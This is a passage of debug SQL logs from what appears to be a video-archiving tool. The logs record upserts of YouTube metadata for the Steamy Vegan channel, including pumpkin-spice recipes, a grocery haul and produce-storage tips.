cubes\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\n0:00 - Intro\n0:47 - Pumpkin Spice Bliss Balls\n3:12 - Pumpkin Spice Cranberry Apple Baked Oatmeal\n6:07 - Pumpkin Spice Smoothie", "Plant-Based Pumpkin Spice Breakfast Recipes // Whole Food Plant-Based, Gluten-Free", "481c8913-2faa-4066-8400-9e3b3990e973", 1, [], false, "Z86KLQobxiY", "https://www.youtube.com/watch?v=Z86KLQobxiY", 342, "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Plant-Based Pumpkin Spice Breakfast Recipes ⧸⧸ Whole Food Plant-Based, Gluten-Free/Plant-Based Pumpkin Spice Breakfast Recipes ⧸⧸ Whole Food Plant-Based, Gluten-Free [Z86KLQobxiY].NA", false, false, false, 3, ~U[2022-10-07 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "What better way is there to enjoy your morning PSL than with one of these delicious plant-based pumpkin spice breakfast recipes? Pumpkin Spice season is officially upon us after all! 🎃 Whether you have a little bit of time, tons of time or NO time to whip up breakfast in the morning, these 3 whole food plant-based and gluten-free recipes have got you covered and are guaranteed to give you your daily recommended intake of pumpkin spice.\n\nEach recipe is gluten-free and whole foods plant-based friendly! #wfpb \n\n\nLOVE THIS VIDEO? Make sure to LIKE and SUBSCRIBE to \u202A@steamyvegan\u202C for more delicious plant-based content! ✔️\n\n\nMORE PUMPKIN SPICED GOODNESS 👇🏻\n3 Savoury Pumpkin Spice Recipe You GOTTA Try This Fall: \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nWhich Tastes Better Pumpkin Spiced? \u00A0\u00A0\u00A0•\u00A0We\u00A0Pumpkin\u00A0Spiced\u00A0a\u00A0Pizza,\u00A0Burgers,\u00A0and\u00A0Hu...\u00A0\u00A0\nPumpkin Spice Chocolate Chip Mini Scones: https://steamyvegan.com/pumpkin-spice...\n\n\n-*RECIPES IN THIS VIDEO *\n\n⬇️ Pumpkin Spice Bliss Balls ⬇️\nhttps://steamyvegan.com/pumpkin-spice...\n\n⬇️ Pumpkin Spice Cranberry Apple Baked Oatmeal ⬇️\nhttps://steamyvegan.com/pumpkin-spice...\n\nPumpkin Spice Smoothie\n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin pie spice \n1 frozen banana\nice cubes\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\n0:00 - Intro\n0:47 - Pumpkin Spice Bliss Balls\n3:12 - Pumpkin Spice Cranberry Apple Baked Oatmeal\n6:07 - Pumpkin Spice Smoothie", "Plant-Based Pumpkin Spice Breakfast Recipes // Whole Food Plant-Based, Gluten-Free", 1, nil, false, "Z86KLQobxiY", "https://www.youtube.com/watch?v=Z86KLQobxiY", "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Plant-Based Pumpkin Spice Breakfast Recipes ⧸⧸ Whole Food Plant-Based, Gluten-Free/Plant-Based Pumpkin Spice Breakfast Recipes ⧸⧸ Whole Food Plant-Based, Gluten-Free [Z86KLQobxiY].NA", false, ~U[2022-10-07 00:00:00Z]] 20:31:08.563 [debug] QUERY OK source="sources" db=0.5ms idle=15.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.565 [debug] QUERY OK source="media_items" db=1.7ms idle=14.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-05 00:00:00Z], 1] 20:31:08.568 [debug] QUERY OK source="media_items" db=2.4ms idle=15.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We tried out 3 SAVOURY Pumpkin Spice recipes that you've gotta make this fall! 🍂 Learn how to make pumpkin spiced pizza, pumpkin spiced burgers and pumpkin spiced hummus! Because pumpkin spice recipes don't just have to be sweet (looking at you, PSL!).\n\nCheck out our full taste test and review of each recipe from our morning show GOOD MORNING VEGAN FAM right here ⬇️\n\u00A0\u00A0\u00A0•\u00A0We\u00A0Pumpkin\u00A0Spiced\u00A0a\u00A0Pizza,\u00A0Burgers,\u00A0and\u00A0Hu...\u00A0\u00A0\n\nDon't forget to LIKE this video and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nRECIPES\nPumpkin Spiced Hummus: https://steamyvegankitchen.com/pumpki... \n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth.\n\nPumpkin Spiced Burger 🍔\n1 cup black beans, drained and rinsed\n1 cup pumpkin puree\n1/2 cup chopped pecans\n1/2 cup rolled oats\n1/4 cup diced green onion\n1 cup cooked quinoa\n2 tsp pumpkin pie spice\n1/2 cup bread crumbs\n\nCombine all ingredients in a large bowl until it's a thick, moldable mixture. Roll into 7-8 ball and flatten into patties onto a parchment lined baking tray. Bake for 40 mins at 400°F, flipping halfway.\n\n\nPumpkin Pizza Sauce Recipe 🍕\n3/4 cup pumpkin puree\n1/4 cup tomato paste\n3 cloves garlic\n1 tsp pumpkin pie spice\n1 cup unsweetened soy milk\n\nTo make a simple pumpkin spice pizza sauce, simply mix canned pumpkin puree, tomato paste, minced garlic, 1-2 tsp pumpkin pie spice (depending on how pumpkin spiced you want), plus salt to taste. Add cornstarch or tapioca starch to thicken (1 tbsp)\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n0:32 - Pumpkin Spiced Hummus\n2:02 - Pumpkin Spiced Burgers\n4:13 - Pumpkin Spiced Pizza\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free", "7d65fbb5-8fd0-4c49-926d-0c8ba944cd2d", 1, [], false, "6nhs9x3h6hY", "https://www.youtube.com/watch?v=6nhs9x3h6hY", 343, "/downloads/downloads/alec/Steamy Vegan/2022-10-05 3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free/3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free [6nhs9x3h6hY].NA", false, false, false, 1, ~U[2022-10-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We tried out 3 SAVOURY Pumpkin Spice recipes that you've gotta make this fall! 🍂 Learn how to make pumpkin spiced pizza, pumpkin spiced burgers and pumpkin spiced hummus! Because pumpkin spice recipes don't just have to be sweet (looking at you, PSL!).\n\nCheck out our full taste test and review of each recipe from our morning show GOOD MORNING VEGAN FAM right here ⬇️\n\u00A0\u00A0\u00A0•\u00A0We\u00A0Pumpkin\u00A0Spiced\u00A0a\u00A0Pizza,\u00A0Burgers,\u00A0and\u00A0Hu...\u00A0\u00A0\n\nDon't forget to LIKE this video and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nRECIPES\nPumpkin Spiced Hummus: https://steamyvegankitchen.com/pumpki... \n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth.\n\nPumpkin Spiced Burger 🍔\n1 cup black beans, drained and rinsed\n1 cup pumpkin puree\n1/2 cup chopped pecans\n1/2 cup rolled oats\n1/4 cup diced green onion\n1 cup cooked quinoa\n2 tsp pumpkin pie spice\n1/2 cup bread crumbs\n\nCombine all ingredients in a large bowl until it's a thick, moldable mixture. Roll into 7-8 ball and flatten into patties onto a parchment lined baking tray. Bake for 40 mins at 400°F, flipping halfway.\n\n\nPumpkin Pizza Sauce Recipe 🍕\n3/4 cup pumpkin puree\n1/4 cup tomato paste\n3 cloves garlic\n1 tsp pumpkin pie spice\n1 cup unsweetened soy milk\n\nTo make a simple pumpkin spice pizza sauce, simply mix canned pumpkin puree, tomato paste, minced garlic, 1-2 tsp pumpkin pie spice (depending on how pumpkin spiced you want), plus salt to taste. Add cornstarch or tapioca starch to thicken (1 tbsp)\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n0:32 - Pumpkin Spiced Hummus\n2:02 - Pumpkin Spiced Burgers\n4:13 - Pumpkin Spiced Pizza\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free", 1, nil, false, "6nhs9x3h6hY", "https://www.youtube.com/watch?v=6nhs9x3h6hY", "/downloads/downloads/alec/Steamy Vegan/2022-10-05 3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free/3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free [6nhs9x3h6hY].NA", false, ~U[2022-10-05 00:00:00Z]] 20:31:08.569 [debug] QUERY OK source="sources" db=0.6ms queue=0.6ms idle=15.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.571 [debug] QUERY OK source="media_items" db=1.7ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-30 00:00:00Z], 1] 20:31:08.573 [debug] QUERY OK source="media_items" db=1.4ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you everything I ate over the weekend while I was sick (so was Brad). Each meal was nourishing and whole and full of cold-fighting power! Hearty oats, fresh fruit, LOTS of pumpkin-y things (hello, vitamin A), curry, soups and smoothies.\n\nWhat do you like to eat when you're under the weather?\n\nRECIPES IN THIS VIDEO: \nButter Chickpeas: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\n\nPUMPKIN SPICE SMOOTHIE\n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup plain vegan yogurt\n1/4 cup rolled oats\n1/4 cup unsweetened soy or nondairy milk\n1/4 cup water\n2 tablespoons maple syrup\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin pie spice\n1 1/2 cups ice cubes\n\nBeet Ginger & Turmeric Soup (Instant Pot, Oil-Free):\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste\n\n1. Turn IP on 'SAUTÉ', add a splash of water and cook the onions and ginger for 2 mins until softened\n2. Add the minced garlic and turmeric, stir and cook for 1 minute\n3. Add the beets, broth, bay leaves and pepper and stir to combine. Hit 'CANCEL', seal the lid and cook for 6 minutes on high pressure. \n4. Do a 10 minute natural pressure release. Add the coconut milk, salt to taste and white beans and partially blend (optional) with an immersion blender. Stir in chopped spinach and let wilt for 5 minutes.\n5. Serve with grain of choice (optional) and enjoy!\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Ate When I Was Sick | Nourishing Vegan Meals", "ca7a9fa4-1cf1-417a-810e-28978a787ddc", 1, [], false, "esUrN5wuq5E", "https://www.youtube.com/watch?v=esUrN5wuq5E", 344, "/downloads/downloads/alec/Steamy Vegan/2022-09-30 What I Ate When I Was Sick | Nourishing Vegan Meals/What I Ate When I Was Sick | Nourishing Vegan Meals [esUrN5wuq5E].NA", false, false, false, 1, ~U[2022-09-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you everything I ate over the weekend while I was sick (so was Brad). Each meal was nourishing and whole and full of cold-fighting power! Hearty oats, fresh fruit, LOTS of pumpkin-y things (hello, vitamin A), curry, soups and smoothies.\n\nWhat do you like to eat when you're under the weather?\n\nRECIPES IN THIS VIDEO: \nButter Chickpeas: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\n\nPUMPKIN SPICE SMOOTHIE\n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup plain vegan yogurt\n1/4 cup rolled oats\n1/4 cup unsweetened soy or nondairy milk\n1/4 cup water\n2 tablespoons maple syrup\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin pie spice\n1 1/2 cups ice cubes\n\nBeet Ginger & Turmeric Soup (Instant Pot, Oil-Free):\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste\n\n1. Turn IP on 'SAUTÉ', add a splash of water and cook the onions and ginger for 2 mins until softened\n2. Add the minced garlic and turmeric, stir and cook for 1 minute\n3. Add the beets, broth, bay leaves and pepper and stir to combine. Hit 'CANCEL', seal the lid and cook for 6 minutes on high pressure. \n4. Do a 10 minute natural pressure release. Add the coconut milk, salt to taste and white beans and partially blend (optional) with an immersion blender. Stir in chopped spinach and let wilt for 5 minutes.\n5. Serve with grain of choice (optional) and enjoy!\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Ate When I Was Sick | Nourishing Vegan Meals", 1, nil, false, "esUrN5wuq5E", "https://www.youtube.com/watch?v=esUrN5wuq5E", "/downloads/downloads/alec/Steamy Vegan/2022-09-30 What I Ate When I Was Sick | Nourishing Vegan Meals/What I Ate When I Was Sick | Nourishing Vegan Meals [esUrN5wuq5E].NA", false, ~U[2022-09-30 00:00:00Z]] 20:31:08.575 [debug] QUERY OK source="sources" db=1.1ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.577 [debug] QUERY OK source="media_items" db=2.1ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-22 00:00:00Z], 1] 20:31:08.578 [debug] QUERY OK source="media_items" db=1.0ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you one of our typical vegan and gluten-free grocery hauls! Almost everything we bought is whole foods plant based#WFPB 🌱\n\nThis grocery shop was done at Real Canadian Superstore (not sponsored) and came to $215 CAD ($160 USD). We hope this gives you an idea of what a vegan gluten-free couple shops for and how much we buy to last us a week or so! \n\nDon't forget to LIKE this video and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nRELATED VIDEOS\nHow to Make Your Produce Last Longer: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0Your\u00A0Produce\u00A0Last\u00A0Longer,\u00A0Redu...\u00A0\u00A0\nOur Top Vegan Pantry Essentials: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nGluten-Free Pantry Essentials: \u00A0\u00A0\u00A0•\u00A0TOP\u00A010\u00A0GLUTEN-FREE\u00A0PANTRY\u00A0ESSENTIALS\u00A0\u00A0(veg...\u00A0\u00A0\nWhat Do Gluten-Free Vegans Eat? \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan and Gluten-Free Grocery Haul | Whole Foods Plant Based Diet 🌱", "9c1a9cf0-0374-4674-af6f-3640bf78e551", 1, [], false, "rXUMZ1Epeks", "https://www.youtube.com/watch?v=rXUMZ1Epeks", 345, "/downloads/downloads/alec/Steamy Vegan/2022-09-22 Vegan and Gluten-Free Grocery Haul | Whole Foods Plant Based Diet 🌱/Vegan and Gluten-Free Grocery Haul | Whole Foods Plant Based Diet 🌱 [rXUMZ1Epeks].NA", false, false, false, 1, ~U[2022-09-22 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you one of our typical vegan and gluten-free grocery hauls! Almost everything we bought is whole foods plant based#WFPB 🌱\n\nThis grocery shop was done at Real Canadian Superstore (not sponsored) and came to $215 CAD ($160 USD). We hope this gives you an idea of what a vegan gluten-free couple shops for and how much we buy to last us a week or so! \n\nDon't forget to LIKE this video and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nRELATED VIDEOS\nHow to Make Your Produce Last Longer: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0Your\u00A0Produce\u00A0Last\u00A0Longer,\u00A0Redu...\u00A0\u00A0\nOur Top Vegan Pantry Essentials: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nGluten-Free Pantry Essentials: \u00A0\u00A0\u00A0•\u00A0TOP\u00A010\u00A0GLUTEN-FREE\u00A0PANTRY\u00A0ESSENTIALS\u00A0\u00A0(veg...\u00A0\u00A0\nWhat Do Gluten-Free Vegans Eat? \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan and Gluten-Free Grocery Haul | Whole Foods Plant Based Diet 🌱", 1, nil, false, "rXUMZ1Epeks", "https://www.youtube.com/watch?v=rXUMZ1Epeks", "/downloads/downloads/alec/Steamy Vegan/2022-09-22 Vegan and Gluten-Free Grocery Haul | Whole Foods Plant Based Diet 🌱/Vegan and Gluten-Free Grocery Haul | Whole Foods Plant Based Diet 🌱 [rXUMZ1Epeks].NA", false, ~U[2022-09-22 00:00:00Z]] 20:31:08.579 [debug] QUERY OK source="sources" db=0.6ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.582 [debug] QUERY OK source="media_items" db=1.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-15 00:00:00Z], 1] 20:31:08.583 [debug] QUERY OK source="media_items" db=1.4ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you how to keep your produce fresher for longer! Let’s save money and prevent food waste. Learn how to prolong the shelf life of your fruits and veggies and the proper ways to store them!\n\nLove this video? Make sure to give it a THUMBS UP and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nWant more food tips, tricks and hack? WATCH THIS NEXT! 👇🏻\nVEGAN FOOD HACKS TO CHANGE YOUR LIFE: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nOTHER HELPFUL VIDEOS 👇🏻\n🌱 VEGAN PANTRY ESSENTIALS FOR NEW BEGINNERS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\n🌱 TOP 1- GLUTEN-FREE PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0TOP\u00A010\u00A0GLUTEN-FREE\u00A0PANTRY\u00A0ESSENTIALS\u00A0\u00A0(veg...\u00A0\u00A0\n🌱 WHAT DO GLUTEN-FREE VEGANS EAT: \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nTimestamps:\n0:00 - Intro\n1:04 - Keep herbs + greens fresh in a glass of water\n2:42 - Regrow green onions in water\n3:28 - Store celery + carrots in a container of water\n4:49 - Keep asparagus upright in a jar of water\n5:10 - Keep radishes in water and keep the greens\n6:22 - Keep citrus fruits in crisper drawer\n6:56 - Keep bell pepper in crisper drawer\n7:33 - Keep mushrooms in ventilated container/bag\n8:33 - Keep ginger sealed in crisper drawer\n9:15 - Let avocados + bananas ripen on counter\n10:14 - Never put tomatoes in the fridge\n10:51 - Let stone fruits ripen on counter\n11:26 - Keep apples in the fridge\n12:00 - Never put cucumbers in the fridge\n13:23 - Keep garlic, potatoes + onions in a cool dark space\n15:06 - Keep melons away from other produce\n15:32 - Keep berries in mason jars", "How to Make Your Produce Last Longer, Reduce Food Waste, and Save Money on Groceries!", "55b603da-d61e-4e28-805a-fa558b270504", 1, [], false, "JD3i1XiCbEU", "https://www.youtube.com/watch?v=JD3i1XiCbEU", 346, "/downloads/downloads/alec/Steamy Vegan/2022-09-15 How to Make Your Produce Last Longer, Reduce Food Waste, and Save Money on Groceries!/How to Make Your Produce Last Longer, Reduce Food Waste, and Save Money on Groceries! [JD3i1XiCbEU].NA", false, false, false, 1, ~U[2022-09-15 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you how to keep your produce fresher for longer! Let’s save money and prevent food waste. Learn how to prolong the shelf life of your fruits and veggies and the proper ways to store them!\n\nLove this video? Make sure to give it a THUMBS UP and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nWant more food tips, tricks and hack? WATCH THIS NEXT! 👇🏻\nVEGAN FOOD HACKS TO CHANGE YOUR LIFE: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nOTHER HELPFUL VIDEOS 👇🏻\n🌱 VEGAN PANTRY ESSENTIALS FOR NEW BEGINNERS: 